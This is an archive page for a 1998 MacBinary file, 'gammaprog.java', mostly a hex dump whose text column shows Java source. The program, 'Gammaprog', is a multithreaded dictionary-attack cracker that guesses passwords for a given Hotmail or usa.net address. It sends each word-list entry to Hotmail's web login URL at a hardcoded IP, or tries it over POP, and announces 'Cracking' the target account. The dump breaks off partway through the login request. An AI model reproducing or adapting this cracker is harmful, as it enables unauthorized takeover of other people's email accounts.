home *** CD-ROM | disk | FTP | other *** search
MacBinary | 1998-08-02 | 7.8 KB | [ TEXT/CWIE]
open in: MacOS 8.1
extracted
|
Win98
extracted
|
DOS
extracted
view JSON data
|
view as text
This file was processed as: MacBinary
(archive/macBinary ).
You can browse this item here: gammaprog.java
Confidence Program Detection Match Type Support
10%
dexvert
MacBinary (archive/macBinary)
fallback
Supported
1%
dexvert
Text File (text/txt)
fallback
Supported
100%
file
MacBinary II, inited, Sun Aug 2 08:57:13 1998, modified Sun Aug 2 08:57:13 1998, creator 'CWIE', type ASCII, 7234 bytes "gammaprog.java" , at 0x1cc2 428 bytes resource
default (weak)
99%
file
data
default
74%
TrID
Macintosh plain text (MacBinary)
default
25%
TrID
MacBinary 2
default (weak)
100%
lsar
MacBinary
default
id metadata key value macFileType [ TEXT] macFileCreator [ CWIE]
hex view +--------+-------------------------+-------------------------+--------+--------+ |00000000| 00 0e 67 61 6d 6d 61 70 | 72 6f 67 2e 6a 61 76 61 |..gammap|rog.java| |00000010| 20 04 00 06 a6 22 00 00 | 00 00 00 00 00 00 02 95 | ...."..|........| |00000020| d4 c0 00 00 7c fb 00 00 | 00 00 02 aa d0 7e 02 a6 |....|...|.....~..| |00000030| ff 18 02 aa d1 28 02 aa | d1 68 02 a9 a4 06 02 aa |.....(..|.h......| |00000040| d1 54 45 58 54 43 57 49 | 45 01 00 00 35 00 81 00 |.TEXTCWI|E...5...| |00000050| 00 00 00 00 00 1c 42 00 | 00 01 ac b1 ea 12 a9 b1 |......B.|........| |00000060| ea 12 a9 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........| |00000070| 00 00 00 00 00 00 00 00 | 00 00 81 81 b9 38 00 00 |........|.....8..| |00000080| 2f 2a 0d 41 6e 20 45 79 | 65 77 69 74 6e 65 73 73 |/*.An Ey|ewitness| |00000090| 0d 61 6e 65 79 65 77 69 | 74 6e 65 73 73 40 67 65 |.aneyewi|tness@ge| |000000a0| 6f 63 69 74 69 65 73 2e | 63 6f 6d 0d 53 75 6d 6d |ocities.|com.Summ| |000000b0| 65 72 20 31 39 39 38 0d | 20 2a 2f 0d 0d 69 6d 70 |er 1998.| */..imp| |000000c0| 6f 72 74 20 6a 61 76 61 | 2e 69 6f 2e 2a 3b 0d 69 |ort java|.io.*;.i| |000000d0| 6d 70 6f 72 74 20 6a 61 | 76 61 2e 6e 65 74 2e 55 |mport ja|va.net.U| |000000e0| 52 4c 3b 0d 69 6d 70 6f | 72 74 20 6a 61 76 61 2e |RL;.impo|rt java.| |000000f0| 6e 65 74 2e 53 6f 63 6b | 65 74 3b 0d 0d 70 75 62 |net.Sock|et;..pub| |00000100| 6c 69 63 20 63 6c 61 73 | 73 20 67 61 6d 6d 61 70 |lic clas|s gammap| |00000110| 72 6f 67 7b 0d 0d 0d 20 | 20 70 75 62 6c 69 63 20 |rog{... | public | |00000120| 73 74 61 74 69 63 20 76 | 6f 69 64 20 6d 61 69 6e |static v|oid main| |00000130| 28 53 74 72 69 6e 67 20 | 61 72 67 73 5b 5d 29 7b |(String |args[]){| |00000140| 0d 0d 20 20 20 20 42 75 | 66 66 65 72 65 64 52 65 |.. Bu|fferedRe| |00000150| 61 64 65 72 20 65 6e 74 | 72 65 65 3b 20 20 0d 20 |ader ent|ree; . | |00000160| 20 20 20 53 74 72 69 6e | 67 20 6c 6f 67 69 6e 3b | Strin|g login;| |00000170| 0d 20 20 20 20 62 6f 6f | 6c 65 61 6e 20 63 67 69 |. boo|lean cgi| |00000180| 20 3d 20 66 61 6c 73 65 | 3b 0d 20 20 20 20 62 6f | = false|;. bo| |00000190| 6f 6c 65 61 6e 20 70 6f | 70 20 3d 20 66 61 6c 73 |olean po|p = fals| |000001a0| 65 3b 0d 20 20 20 20 62 | 6f 6f 6c 65 61 6e 20 76 |e;. b|oolean v| |000001b0| 65 72 62 6f 73 65 20 3d | 20 66 61 6c 73 65 3b 0d |erbose =| false;.| |000001c0| 0d 20 20 20 20 53 79 73 | 74 65 6d 2e 6f 75 74 2e |. Sys|tem.out.| |000001d0| 70 72 69 6e 74 6c 6e 28 | 22 5c 6e 47 61 6d 6d 61 |println(|"\nGamma| |000001e0| 70 72 6f 67 20 31 2e 31 | 31 5c 6e 57 72 69 74 74 |prog 1.1|1\nWritt| |000001f0| 65 6e 20 62 79 20 41 6e | 20 45 79 65 77 69 74 6e |en by An| Eyewitn| |00000200| 65 73 73 5c 6e 53 75 6d | 6d 65 72 20 31 39 39 38 |ess\nSum|mer 1998| |00000210| 5c 6e 22 29 3b 0d 0d 2f | 2f 20 55 73 61 67 65 20 |\n");../|/ Usage | |00000220| 61 6e 64 20 6f 70 74 69 | 6f 6e 20 68 61 6e 64 6c |and opti|on handl| |00000230| 69 6e 67 0d 0d 20 20 20 | 20 69 66 28 61 72 67 73 |ing.. | if(args| |00000240| 2e 6c 65 6e 67 74 68 3c | 33 29 0d 20 20 20 20 20 |.length<|3). | |00000250| 20 53 79 73 74 65 6d 2e | 65 72 72 2e 70 72 69 6e | System.|err.prin| |00000260| 74 6c 6e 28 22 55 73 61 | 67 65 3a 20 67 61 6d 6d |tln("Usa|ge: gamm| |00000270| 61 70 72 6f 67 20 3c 61 | 64 64 72 65 73 73 3e 20 |aprog <a|ddress> | |00000280| 3c 77 6f 72 64 20 6c 69 | 73 74 3e 20 3c 6d 6f 64 |<word li|st> <mod| |00000290| 65 3e 20 5b 6e 75 6d 62 | 65 72 20 6f 66 20 73 6f |e> [numb|er of so| |000002a0| 63 6b 65 74 5d 22 29 3b | 0d 0d 20 20 20 20 65 6c |cket]");|.. el| |000002b0| 73 65 7b 0d 0d 20 20 20 | 20 20 20 69 6e 74 20 69 |se{.. | int i| |000002c0| 6e 64 65 78 20 3d 20 61 | 72 67 73 5b 30 5d 2e 69 |ndex = a|rgs[0].i| |000002d0| 6e 64 65 78 4f 66 28 27 | 40 27 29 3b 0d 20 20 20 |ndexOf('|@');. | |000002e0| 20 20 20 69 66 28 69 6e | 64 65 78 3d 3d 2d 31 29 | if(in|dex==-1)| |000002f0| 7b 0d 09 53 79 73 74 65 | 6d 2e 65 72 72 2e 70 72 |{..Syste|m.err.pr| |00000300| 69 6e 74 6c 6e 28 22 41 | 72 65 20 79 6f 75 20 73 |intln("A|re you s| |00000310| 75 72 65 20 22 20 2b 20 | 61 72 67 73 5b 30 5d 20 |ure " + |args[0] | |00000320| 2b 20 22 20 69 73 20 61 | 20 76 61 6c 69 64 20 61 |+ " is a| valid a| |00000330| 64 64 72 65 73 73 3f 22 | 29 3b 0d 09 53 79 73 74 |ddress?"|);..Syst| |00000340| 65 6d 2e 65 78 69 74 28 | 31 29 3b 0d 20 20 20 20 |em.exit(|1);. | |00000350| 20 20 7d 0d 20 20 20 20 | 20 20 6c 6f 67 69 6e 20 | }. | login | |00000360| 3d 20 6e 65 77 20 53 74 | 72 69 6e 67 28 61 72 67 |= new St|ring(arg| |00000370| 73 5b 30 5d 2e 73 75 62 | 73 74 72 69 6e 67 28 30 |s[0].sub|string(0| |00000380| 2c 20 69 6e 64 65 78 29 | 29 3b 0d 20 20 20 20 20 |, index)|);. | |00000390| 20 53 74 72 69 6e 67 20 | 61 64 64 72 65 73 73 74 | String |addresst| |000003a0| 79 70 65 20 3d 20 6e 65 | 77 20 53 74 72 69 6e 67 |ype = ne|w String| |000003b0| 28 61 72 67 73 5b 30 5d | 2e 73 75 62 73 74 72 69 |(args[0]|.substri| |000003c0| 6e 67 28 69 6e 64 65 78 | 20 2c 20 61 72 67 73 5b |ng(index| , args[| |000003d0| 30 5d 2e 6c 65 6e 67 74 | 68 28 29 29 29 3b 0d 20 |0].lengt|h()));. | |000003e0| 20 20 20 20 20 0d 20 20 | 20 20 20 20 69 66 28 21 | . | if(!| |000003f0| 28 61 64 64 72 65 73 73 | 74 79 70 65 2e 65 71 75 |(address|type.equ| |00000400| 61 6c 73 28 22 40 68 6f | 74 6d 61 69 6c 2e 63 6f |als("@ho|tmail.co| |00000410| 6d 22 29 20 7c 7c 20 61 | 64 64 72 65 73 73 74 79 |m") || a|ddressty| |00000420| 70 65 2e 65 71 75 61 6c | 73 28 22 40 75 73 61 2e |pe.equal|s("@usa.| |00000430| 6e 65 74 22 29 29 29 7b | 0d 09 53 79 73 74 65 6d |net"))){|..System| |00000440| 2e 65 72 72 2e 70 72 69 | 6e 74 6c 6e 28 22 53 6f |.err.pri|ntln("So| |00000450| 72 72 79 2c 20 22 20 2b | 20 61 64 64 72 65 73 73 |rry, " +| address| |00000460| 74 79 70 65 20 2b 20 22 | 20 69 73 20 6e 6f 74 20 |type + "| is not | |00000470| 73 75 70 70 6f 72 74 65 | 64 2e 22 29 3b 0d 09 53 |supporte|d.");..S| |00000480| 79 73 74 65 6d 2e 65 78 | 69 74 28 31 29 3b 0d 20 |ystem.ex|it(1);. | |00000490| 20 20 20 20 20 7d 0d 0d | 2f 2f 20 4f 70 65 6e 20 | }..|// Open | |000004a0| 64 69 63 74 2e 20 66 69 | 6c 65 2c 20 73 74 61 72 |dict. fi|le, star| |000004b0| 74 20 73 6f 63 6b 65 74 | 73 0d 0d 20 20 20 20 20 |t socket|s.. | |000004c0| 20 74 72 79 7b 0d 09 65 | 6e 74 72 65 65 20 3d 20 | try{..e|ntree = | |000004d0| 6e 65 77 20 42 75 66 66 | 65 72 65 64 52 65 61 64 |new Buff|eredRead| |000004e0| 65 72 28 6e 65 77 20 46 | 69 6c 65 52 65 61 64 65 |er(new F|ileReade| |000004f0| 72 28 61 72 67 73 5b 31 | 5d 29 29 3b 0d 09 69 6e |r(args[1|]));..in| |00000500| 74 20 73 6f 63 6b 6e 75 | 6d 20 3d 20 34 3b 0d 09 |t socknu|m = 4;..| |00000510| 69 66 28 61 72 67 73 2e | 6c 65 6e 67 74 68 3e 33 |if(args.|length>3| |00000520| 29 7b 0d 09 20 20 74 72 | 79 7b 0d 09 20 20 20 20 |){.. tr|y{.. | |00000530| 73 6f 63 6b 6e 75 6d 20 | 3d 20 49 6e 74 65 67 65 |socknum |= Intege| |00000540| 72 2e 70 61 72 73 65 49 | 6e 74 28 61 72 67 73 5b |r.parseI|nt(args[| |00000550| 33 5d 29 3b 0d 09 20 20 | 7d 0d 09 20 20 63 61 74 |3]);.. |}.. cat| |00000560| 63 68 28 4e 75 6d 62 65 | 72 46 6f 72 6d 61 74 45 |ch(Numbe|rFormatE| |00000570| 78 63 65 70 74 69 6f 6e | 20 65 78 29 7b 0d 09 20 |xception| ex){.. | |00000580| 20 20 20 53 79 73 74 65 | 6d 2e 65 72 72 2e 70 72 | Syste|m.err.pr| |00000590| 69 6e 74 6c 6e 28 61 72 | 67 73 5b 33 5d 20 2b 20 |intln(ar|gs[3] + | |000005a0| 22 20 69 73 20 6e 6f 74 | 20 61 20 76 61 6c 69 64 |" is not| a valid| |000005b0| 20 6e 75 6d 62 65 72 20 | 6f 66 20 74 68 72 65 61 | number |of threa| |000005c0| 64 2e 22 29 3b 0d 09 20 | 20 20 20 53 79 73 74 65 |d.");.. | Syste| |000005d0| 6d 2e 65 78 69 74 28 31 | 29 3b 0d 09 20 20 7d 0d |m.exit(1|);.. }.| |000005e0| 09 7d 0d 09 69 66 28 61 | 72 67 73 5b 32 5d 2e 65 |.}..if(a|rgs[2].e| |000005f0| 71 75 61 6c 73 49 67 6e | 6f 72 65 43 61 73 65 28 |qualsIgn|oreCase(| |00000600| 22 63 67 69 22 29 29 7b | 0d 09 20 20 66 6f 72 28 |"cgi")){|.. for(| |00000610| 69 6e 74 20 69 3d 30 3b | 69 3c 73 6f 63 6b 6e 75 |int i=0;|i<socknu| |00000620| 6d 3b 69 2b 2b 29 7b 0d | 09 20 20 20 20 44 61 65 |m;i++){.|. Dae| |00000630| 6d 6f 6e 74 68 72 65 61 | 64 20 64 61 65 6d 6f 6e |monthrea|d daemon| |00000640| 74 68 72 65 61 64 20 3d | 20 6e 65 77 20 44 61 65 |thread =| new Dae| |00000650| 6d 6f 6e 74 68 72 65 61 | 64 28 6c 6f 67 69 6e 2c |monthrea|d(login,| |00000660| 20 61 64 64 72 65 73 73 | 74 79 70 65 2c 20 65 6e | address|type, en| |00000670| 74 72 65 65 29 3b 0d 09 | 20 20 20 20 64 61 65 6d |tree);..| daem| |00000680| 6f 6e 74 68 72 65 61 64 | 2e 73 74 61 72 74 28 29 |onthread|.start()| |00000690| 3b 0d 09 20 20 7d 0d 09 | 20 20 53 79 73 74 65 6d |;.. }..| System| |000006a0| 2e 6f 75 74 2e 70 72 69 | 6e 74 6c 6e 28 22 43 72 |.out.pri|ntln("Cr| |000006b0| 61 63 6b 69 6e 67 20 22 | 20 2b 20 6c 6f 67 69 6e |acking "| + login| |000006c0| 20 2b 20 61 64 64 72 65 | 73 73 74 79 70 65 20 2b | + addre|sstype +| |000006d0| 20 22 20 77 69 74 68 20 | 22 20 2b 20 61 72 67 73 | " with |" + args| |000006e0| 5b 31 5d 20 2b 20 22 5c | 6e 22 29 3b 0d 09 7d 0d |[1] + "\|n");..}.| |000006f0| 09 65 6c 73 65 20 69 66 | 28 61 72 67 73 5b 32 5d |.else if|(args[2]| |00000700| 2e 65 71 75 61 6c 73 49 | 67 6e 6f 72 65 43 61 73 |.equalsI|gnoreCas| |00000710| 65 28 22 70 6f 70 22 29 | 20 7c 7c 20 61 72 67 73 |e("pop")| || args| |00000720| 5b 32 5d 2e 65 71 75 61 | 6c 73 49 67 6e 6f 72 65 |[2].equa|lsIgnore| |00000730| 43 61 73 65 28 22 76 70 | 6f 70 22 29 29 7b 0d 09 |Case("vp|op")){..| |00000740| 20 20 69 66 28 61 64 64 | 72 65 73 73 74 79 70 65 | if(add|resstype| |00000750| 2e 65 71 75 61 6c 73 28 | 22 40 75 73 61 2e 6e 65 |.equals(|"@usa.ne| |00000760| 74 22 29 29 0d 09 20 20 | 20 20 20 53 79 73 74 65 |t")).. | Syste| |00000770| 6d 2e 6f 75 74 2e 70 72 | 69 6e 74 6c 6e 28 22 53 |m.out.pr|intln("S| |00000780| 6f 72 72 79 2c 20 75 73 | 61 2e 6e 65 74 20 64 6f |orry, us|a.net do| |00000790| 65 73 20 6e 6f 74 20 73 | 75 70 70 6f 72 74 20 70 |es not s|upport p| |000007a0| 6f 70 20 6d 6f 64 65 22 | 29 3b 0d 09 20 20 65 6c |op mode"|);.. el| |000007b0| 73 65 7b 0d 09 20 20 20 | 20 69 66 28 61 72 67 73 |se{.. | if(args| |000007c0| 5b 32 5d 2e 65 71 75 61 | 6c 73 49 67 6e 6f 72 65 |[2].equa|lsIgnore| |000007d0| 43 61 73 65 28 22 76 70 | 6f 70 22 29 29 0d 09 20 |Case("vp|op")).. | |000007e0| 20 20 20 20 20 20 76 65 | 72 62 6f 73 65 20 3d 20 | ve|rbose = | |000007f0| 74 72 75 65 3b 0d 09 20 | 20 20 20 66 6f 72 28 69 |true;.. | for(i| |00000800| 6e 74 20 69 3d 30 3b 69 | 3c 73 6f 63 6b 6e 75 6d |nt i=0;i|<socknum| |00000810| 3b 69 2b 2b 29 7b 0d 09 | 20 20 20 20 20 20 50 6f |;i++){..| Po| |00000820| 70 73 6f 63 6b 65 74 20 | 70 6f 70 73 6f 63 6b 65 |psocket |popsocke| |00000830| 74 20 3d 20 6e 65 77 20 | 50 6f 70 73 6f 63 6b 65 |t = new |Popsocke| |00000840| 74 28 6c 6f 67 69 6e 2c | 20 61 64 64 72 65 73 73 |t(login,| address| |00000850| 74 79 70 65 2c 20 65 6e | 74 72 65 65 2c 20 76 65 |type, en|tree, ve| |00000860| 72 62 6f 73 65 29 3b 0d | 09 20 20 20 20 20 20 70 |rbose);.|. p| |00000870| 6f 70 73 6f 63 6b 65 74 | 2e 73 74 61 72 74 28 29 |opsocket|.start()| |00000880| 3b 0d 09 20 20 20 20 7d | 0d 09 20 20 20 20 53 79 |;.. }|.. Sy| |00000890| 73 74 65 6d 2e 6f 75 74 | 2e 70 72 69 6e 74 6c 6e |stem.out|.println| |000008a0| 28 22 43 72 61 63 6b 69 | 6e 67 20 22 20 2b 20 6c |("Cracki|ng " + l| |000008b0| 6f 67 69 6e 20 2b 20 61 | 64 64 72 65 73 73 74 79 |ogin + a|ddressty| |000008c0| 70 65 20 2b 20 22 20 77 | 69 74 68 20 22 20 2b 20 |pe + " w|ith " + | |000008d0| 61 72 67 73 5b 31 5d 20 | 2b 20 22 5c 6e 22 29 3b |args[1] |+ "\n");| |000008e0| 0d 09 20 20 7d 0d 09 7d | 0d 09 65 6c 73 65 0d 09 |.. }..}|..else..| |000008f0| 20 20 53 79 73 74 65 6d | 2e 6f 75 74 2e 70 72 69 | System|.out.pri| |00000900| 6e 74 6c 6e 28 61 72 67 | 73 5b 32 5d 20 2b 20 22 |ntln(arg|s[2] + "| |00000910| 20 69 73 20 6e 6f 74 20 | 61 20 76 61 6c 69 64 20 | is not |a valid | |00000920| 6d 6f 64 65 2e 22 29 3b | 0d 20 20 20 20 20 20 7d |mode.");|. }| |00000930| 0d 0d 20 20 20 20 20 20 | 63 61 74 63 68 28 46 69 |.. |catch(Fi| |00000940| 6c 65 4e 6f 74 46 6f 75 | 6e 64 45 78 63 65 70 74 |leNotFou|ndExcept| |00000950| 69 6f 6e 20 65 78 29 7b | 0d 09 53 79 73 74 65 6d |ion ex){|..System| |00000960| 2e 65 72 72 2e 70 72 69 | 6e 74 6c 6e 28 22 44 69 |.err.pri|ntln("Di| |00000970| 63 74 69 6f 6e 6e 61 72 | 79 20 66 69 6c 65 20 22 |ctionnar|y file "| |00000980| 20 2b 20 61 72 67 73 5b | 31 5d 20 2b 20 22 20 6e | + args[|1] + " n| |00000990| 6f 74 20 66 6f 75 6e 64 | 2e 22 29 3b 0d 20 20 20 |ot found|.");. | |000009a0| 20 20 20 7d 0d 0d 20 20 | 20 20 7d 0d 20 20 7d 0d | }.. | }. }.| |000009b0| 7d 0d 0d 63 6c 61 73 73 | 20 44 61 65 6d 6f 6e 74 |}..class| Daemont| |000009c0| 68 72 65 61 64 20 65 78 | 74 65 6e 64 73 20 54 68 |hread ex|tends Th| |000009d0| 72 65 61 64 20 7b 0d 0d | 0d 20 20 53 74 72 69 6e |read {..|. Strin| |000009e0| 67 20 70 61 73 73 77 64 | 20 3d 20 6e 65 77 20 53 |g passwd| = new S| |000009f0| 74 72 69 6e 67 28 22 22 | 29 3b 0d 20 20 62 6f 6f |tring(""|);. boo| |00000a00| 6c 65 61 6e 20 6f 6b 20 | 3d 20 74 72 75 65 3b 0d |lean ok |= true;.| |00000a10| 20 20 42 75 66 66 65 72 | 65 64 52 65 61 64 65 72 | Buffer|edReader| |00000a20| 20 65 6e 74 72 65 65 3b | 0d 20 20 53 74 72 69 6e | entree;|. Strin| |00000a30| 67 20 6c 6f 67 69 6e 3b | 0d 20 20 53 74 72 69 6e |g login;|. Strin| |00000a40| 67 20 61 64 64 72 65 73 | 73 74 79 70 65 3b 0d 0d |g addres|stype;..| |00000a50| 20 20 70 75 62 6c 69 63 | 20 44 61 65 6d 6f 6e 74 | public| Daemont| |00000a60| 68 72 65 61 64 28 53 74 | 72 69 6e 67 20 6c 6f 67 |hread(St|ring log| |00000a70| 69 6e 6e 61 6d 65 2c 20 | 53 74 72 69 6e 67 20 61 |inname, |String a| |00000a80| 64 64 72 65 73 73 2c 20 | 42 75 66 66 65 72 65 64 |ddress, |Buffered| |00000a90| 52 65 61 64 65 72 20 72 | 65 61 64 65 72 6e 61 6d |Reader r|eadernam| |00000aa0| 65 29 7b 0d 20 20 20 20 | 73 75 70 65 72 28 29 3b |e){. |super();| |00000ab0| 0d 20 20 20 20 65 6e 74 | 72 65 65 20 3d 20 72 65 |. ent|ree = re| |00000ac0| 61 64 65 72 6e 61 6d 65 | 3b 0d 20 20 20 20 6c 6f |adername|;. lo| |00000ad0| 67 69 6e 20 3d 20 6c 6f | 67 69 6e 6e 61 6d 65 3b |gin = lo|ginname;| |00000ae0| 0d 20 20 20 20 61 64 64 | 72 65 73 73 74 79 70 65 |. add|resstype| |00000af0| 20 3d 20 61 64 64 72 65 | 73 73 3b 0d 20 20 7d 0d | = addre|ss;. }.| |00000b00| 0d 20 20 70 75 62 6c 69 | 63 20 76 6f 69 64 20 72 |. publi|c void r| |00000b10| 75 6e 28 29 7b 0d 20 20 | 20 20 0d 20 20 20 20 66 |un(){. | . f| |00000b20| 6f 72 28 3b 3b 29 7b 0d | 20 20 20 20 20 20 74 72 |or(;;){.| tr| |00000b30| 79 7b 0d 09 69 66 28 6f | 6b 29 0d 09 20 20 70 61 |y{..if(o|k).. pa| |00000b40| 73 73 77 64 20 3d 20 65 | 6e 74 72 65 65 2e 72 65 |sswd = e|ntree.re| |00000b50| 61 64 4c 69 6e 65 28 29 | 3b 0d 09 6f 6b 3d 74 72 |adLine()|;..ok=tr| |00000b60| 75 65 3b 0d 09 69 66 28 | 70 61 73 73 77 64 3d 3d |ue;..if(|passwd==| |00000b70| 6e 75 6c 6c 29 0d 09 20 | 20 62 72 65 61 6b 3b 0d |null).. | break;.| |00000b80| 09 54 68 72 65 61 64 73 | 6f 63 6b 65 74 20 74 68 |.Threads|ocket th| |00000b90| 72 65 61 64 73 6f 63 6b | 65 74 20 3d 20 6e 65 77 |readsock|et = new| |00000ba0| 20 54 68 72 65 61 64 73 | 6f 63 6b 65 74 28 6c 6f | Threads|ocket(lo| |00000bb0| 67 69 6e 2c 20 61 64 64 | 72 65 73 73 74 79 70 65 |gin, add|resstype| |00000bc0| 2c 20 70 61 73 73 77 64 | 29 3b 0d 09 74 68 72 65 |, passwd|);..thre| |00000bd0| 61 64 73 6f 63 6b 65 74 | 2e 73 74 61 72 74 28 29 |adsocket|.start()| |00000be0| 3b 0d 09 74 72 79 7b 0d | 09 20 20 74 68 72 65 61 |;..try{.|. threa| |00000bf0| 64 73 6f 63 6b 65 74 2e | 6a 6f 69 6e 28 33 30 30 |dsocket.|join(300| |00000c00| 30 30 29 3b 0d 09 7d 0d | 09 63 61 74 63 68 28 49 |00);..}.|.catch(I| |00000c10| 6e 74 65 72 72 75 70 74 | 65 64 45 78 63 65 70 74 |nterrupt|edExcept| |00000c20| 69 6f 6e 20 65 78 29 7b | 0d 09 20 20 53 79 73 74 |ion ex){|.. Syst| |00000c30| 65 6d 2e 6f 75 74 2e 70 | 72 69 6e 74 6c 6e 28 22 |em.out.p|rintln("| |00000c40| 54 68 72 65 61 64 20 69 | 6e 74 65 72 72 75 70 74 |Thread i|nterrupt| |00000c50| 65 64 22 29 3b 0d 09 7d | 0d 09 69 66 28 74 68 72 |ed");..}|..if(thr| |00000c60| 65 61 64 73 6f 63 6b 65 | 74 2e 69 73 41 6c 69 76 |eadsocke|t.isAliv| |00000c70| 65 28 29 29 7b 0d 09 20 | 20 74 68 72 65 61 64 73 |e()){.. | threads| |00000c80| 6f 63 6b 65 74 2e 73 74 | 6f 70 28 29 3b 0d 09 20 |ocket.st|op();.. | |00000c90| 20 53 79 73 74 65 6d 2e | 6f 75 74 2e 70 72 69 6e | System.|out.prin| |00000ca0| 74 6c 6e 28 22 54 68 72 | 65 61 64 20 74 69 6d 65 |tln("Thr|ead time| |00000cb0| 64 20 6f 75 74 2e 20 4b | 69 6c 6c 69 6e 67 20 69 |d out. K|illing i| |00000cc0| 74 2e 22 29 3b 0d 09 20 | 20 6f 6b 3d 66 61 6c 73 |t.");.. | ok=fals| |00000cd0| 65 3b 0d 09 7d 0d 20 20 | 20 20 20 20 7d 0d 20 20 |e;..}. | }. | |00000ce0| 20 20 20 20 63 61 74 63 | 68 28 49 4f 45 78 63 65 | catc|h(IOExce| |00000cf0| 70 74 69 6f 6e 20 65 78 | 29 7b 0d 09 53 79 73 74 |ption ex|){..Syst| |00000d00| 65 6d 2e 6f 75 74 2e 70 | 72 69 6e 74 6c 6e 28 22 |em.out.p|rintln("| |00000d10| 49 4f 45 78 63 65 70 74 | 69 6f 6e 20 69 6e 20 44 |IOExcept|ion in D| |00000d20| 65 61 6d 6f 6e 74 68 72 | 65 61 64 22 29 3b 0d 20 |eamonthr|ead");. | |00000d30| 20 20 20 20 20 7d 0d 20 | 20 20 20 7d 0d 20 20 20 | }. | }. | |00000d40| 20 2f 2a 0d 20 20 20 20 | 20 20 54 68 69 73 20 73 | /*. | This s| |00000d50| 6c 65 65 70 20 74 69 6d | 65 20 69 73 20 74 6f 20 |leep tim|e is to | |00000d60| 6c 65 74 20 74 68 65 20 | 6f 74 68 65 72 20 74 68 |let the |other th| |00000d70| 72 65 61 64 73 20 66 69 | 6e 69 73 68 2e 0d 20 20 |reads fi|nish.. | |00000d80| 20 20 20 20 4e 6f 74 68 | 69 6e 67 20 70 72 6f 76 | Noth|ing prov| |00000d90| 65 73 20 74 68 65 79 27 | 6c 6c 20 68 61 76 65 20 |es they'|ll have | |00000da0| 65 6e 6f 75 67 68 20 74 | 69 6d 65 20 74 6f 20 64 |enough t|ime to d| |00000db0| 6f 20 69 74 20 68 6f 77 | 65 76 65 72 2e 2e 2e 0d |o it how|ever....| |00000dc0| 20 20 20 20 20 20 0d 20 | 20 20 20 2a 2f 0d 20 20 | . | */. | |00000dd0| 20 20 74 72 79 7b 0d 20 | 20 20 20 20 20 73 6c 65 | try{. | sle| |00000de0| 65 70 28 31 30 30 30 30 | 29 3b 0d 20 20 20 20 7d |ep(10000|);. }| |00000df0| 0d 20 20 20 20 63 61 74 | 63 68 28 49 6e 74 65 72 |. cat|ch(Inter| |00000e00| 72 75 70 74 65 64 45 78 | 63 65 70 74 69 6f 6e 20 |ruptedEx|ception | |00000e10| 65 78 29 7b 0d 20 20 20 | 20 7d 0d 20 20 20 20 53 |ex){. | }. S| |00000e20| 79 73 74 65 6d 2e 6f 75 | 74 2e 70 72 69 6e 74 6c |ystem.ou|t.printl| |00000e30| 6e 28 22 5c 6e 50 61 73 | 73 77 6f 72 64 20 6e 6f |n("\nPas|sword no| |00000e40| 74 20 66 6f 75 6e 64 2e | 5c 6e 22 29 3b 0d 20 20 |t found.|\n");. | |00000e50| 20 20 53 79 73 74 65 6d | 2e 65 78 69 74 28 30 29 | System|.exit(0)| |00000e60| 3b 0d 0d 20 20 7d 0d 7d | 0d 0d 63 6c 61 73 73 20 |;.. }.}|..class | |00000e70| 54 68 72 65 61 64 73 6f | 63 6b 65 74 20 65 78 74 |Threadso|cket ext| |00000e80| 65 6e 64 73 20 54 68 72 | 65 61 64 20 7b 0d 0d 20 |ends Thr|ead {.. | |00000e90| 20 53 74 72 69 6e 67 20 | 70 61 73 73 77 64 20 3d | String |passwd =| |00000ea0| 20 6e 65 77 20 53 74 72 | 69 6e 67 28 22 22 29 3b | new Str|ing("");| |00000eb0| 0d 20 20 55 52 4c 20 6c | 6f 67 69 6e 66 6f 72 6d |. URL l|oginform| |00000ec0| 3b 0d 20 20 53 74 72 69 | 6e 67 20 6c 6f 67 69 6e |;. Stri|ng login| |00000ed0| 3b 0d 20 20 53 74 72 69 | 6e 67 20 61 64 64 72 65 |;. Stri|ng addre| |00000ee0| 73 73 74 79 70 65 3b 0d | 0d 2f 2f 20 43 6f 6e 73 |sstype;.|.// Cons| |00000ef0| 74 72 75 63 74 6f 72 20 | 2e 2e 2e 0d 0d 20 20 70 |tructor |..... p| |00000f00| 75 62 6c 69 63 20 54 68 | 72 65 61 64 73 6f 63 6b |ublic Th|readsock| |00000f10| 65 74 28 53 74 72 69 6e | 67 20 6c 6f 67 69 6e 6e |et(Strin|g loginn| |00000f20| 61 6d 65 2c 20 53 74 72 | 69 6e 67 20 61 64 64 72 |ame, Str|ing addr| |00000f30| 65 73 73 2c 20 53 74 72 | 69 6e 67 20 77 6f 72 64 |ess, Str|ing word| |00000f40| 29 20 7b 0d 20 20 20 20 | 73 75 70 65 72 28 29 3b |) {. |super();| |00000f50| 0d 20 20 20 20 70 61 73 | 73 77 64 20 3d 20 77 6f |. pas|swd = wo| |00000f60| 72 64 3b 0d 20 20 20 20 | 6c 6f 67 69 6e 20 3d 20 |rd;. |login = | |00000f70| 6c 6f 67 69 6e 6e 61 6d | 65 3b 0d 20 20 20 20 61 |loginnam|e;. a| |00000f80| 64 64 72 65 73 73 74 79 | 70 65 20 3d 20 61 64 64 |ddressty|pe = add| |00000f90| 72 65 73 73 3b 0d 20 20 | 7d 0d 0d 2f 2f 20 4f 70 |ress;. |}..// Op| |00000fa0| 65 6e 20 61 20 63 6f 6e | 6e 65 63 74 69 6f 6e 20 |en a con|nection | |00000fb0| 74 6f 20 74 68 65 20 73 | 65 72 76 65 72 20 61 6e |to the s|erver an| |00000fc0| 64 20 72 65 61 64 20 72 | 65 70 6c 79 0d 09 09 0d |d read r|eply....| |00000fd0| 20 20 70 75 62 6c 69 63 | 20 76 6f 69 64 20 72 75 | public| void ru| |00000fe0| 6e 28 29 20 7b 0d 0d 20 | 20 20 20 74 72 79 7b 0d |n() {.. | try{.| |00000ff0| 20 20 20 20 20 20 69 66 | 28 61 64 64 72 65 73 73 | if|(address| |00001000| 74 79 70 65 2e 65 71 75 | 61 6c 73 28 22 40 68 6f |type.equ|als("@ho| |00001010| 74 6d 61 69 6c 2e 63 6f | 6d 22 29 29 0d 09 6c 6f |tmail.co|m"))..lo| |00001020| 67 69 6e 66 6f 72 6d 20 | 3d 20 6e 65 77 20 55 52 |ginform |= new UR| |00001030| 4c 28 22 68 74 74 70 3a | 2f 2f 32 30 37 2e 38 32 |L("http:|//207.82| |00001040| 2e 32 35 30 2e 32 35 31 | 2f 63 67 69 2d 62 69 6e |.250.251|/cgi-bin| |00001050| 2f 73 74 61 72 74 3f 6c | 6f 67 69 6e 3d 22 20 2b |/start?l|ogin=" +| |00001060| 20 6c 6f 67 69 6e 20 2b | 20 22 26 70 61 73 73 77 | login +| "&passw| |00001070| 64 3d 22 20 2b 20 70 61 | 